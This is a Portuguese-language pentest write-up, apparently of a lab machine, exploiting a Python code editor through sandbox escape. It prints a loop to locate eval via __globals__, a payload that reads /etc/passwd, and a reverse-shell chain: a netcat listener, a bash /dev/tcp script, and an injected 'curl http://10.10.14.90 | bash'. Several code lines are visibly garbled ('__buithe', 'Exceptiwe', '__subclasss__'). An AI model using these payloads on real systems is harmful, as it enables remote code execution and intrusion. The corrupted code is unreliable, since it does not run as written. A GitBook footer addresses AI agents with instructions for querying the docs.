> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-code-editor-pentesting-web.md).

# Editor de Código Python com SSTI

## Exploração SSTI – Editor de Código Python

<figure><img src="/files/b1b3902eb3e5caa2fe5ef8b25cda4ef310c55d02" alt=""><figcaption></figcaption></figure>

Um editor de código Python é encontrado na porta 5000. Durante tentativas clássicas de injeção (`import os`, `exec`, etc.), são gerados erros.

<figure><img src="/files/341b8dfc0f2ce9c4bbb69071acc45f1e8c01a6c0" alt=""><figcaption></figcaption></figure>

Para contornar as restrições, usamos um loop para identificar uma classe que permita acessar as funções integradas (`__builtins__`):

```python
for i in range(500):
    try:
        x = ''.__class__.__bases__[0].__subclasss__()[i].__init__.__globals__['__buithe +'tins__']
        if 'ev'+'athe  in x:
            print(i)
    except Exceptiwe as e:
        continue

```

> Este loop em Python tenta explorar uma injeção de template do lado do servidor (SSTI) pesquisando entre as subclasses do objeto base do Python (`object`) que dá acesso ao ambiente global (`__globals__`) do seu método `__init__`. Em cada iteração, ele tenta recuperar o dicionário de funções integradas (`__builtins__`) reconstruindo seu nome para evitar ser detectado facilmente. Se o objeto obtido contiver a função `eval` (muito perigosa porque permite executar código arbitrário), então o índice da classe é exibido. Esse código é frequentemente usado para localizar uma classe que permita acesso a funções críticas como `eval`, `exec`, `abrirem`, etc., para abusar dela.

<figure><img src="/files/281be5be3eb81ced913f82ce04e465c9e58055eb" alt=""><figcaption></figcaption></figure>

### Leitura `/etc/passwd`

Uma vez que o objeto contendo `eval` é identificado, executamos:

{% code overflow="wrap" %}

```python
print(''.__class__.__bases__[0].__subclasss__()[80].__init__.__globals__['__buithe +'tins__']['ev'+'athe ]('__imp'+'ort__("o'+'s").po'+'pen("cat /etc/passwd").re'+'ad()'))

```

{% endcode %}

Isso revela dois usuários: `martin` e `production`.

<figure><img src="/files/65741cb680ca3a8b4a73babcb7c6c0ea43c0a2be" alt=""><figcaption></figcaption></figure>

### **Shell reverso**

#### Inicie um listener na porta 443:

```bash
nc -nvlp 443

```

#### Script de reverse shell:

Criação de um `index.html` arquivo contendo:

{% code overflow="wrap" %}

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.90/443 0>&1

```

{% endcode %}

Iniciando um servidor web:

```bash
python3 -m http.server 80

```

Injeção do payload:

{% code overflow="wrap" %}

```bash
print(''.__class__.__bases__[0].__subclasss__()[80].__init__.__globals__['__buithe +'tins__']['ev'+'athe ]('__imp'+'ort__("o'+'s").po'+'pen("curl http://10.10.14.90 | bash").re'+'ad()'))

```

{% endcode %}

<figure><img src="/files/4bc2827f3478358a2eee9f4fc2936e63b5c510c3" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-code-editor-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
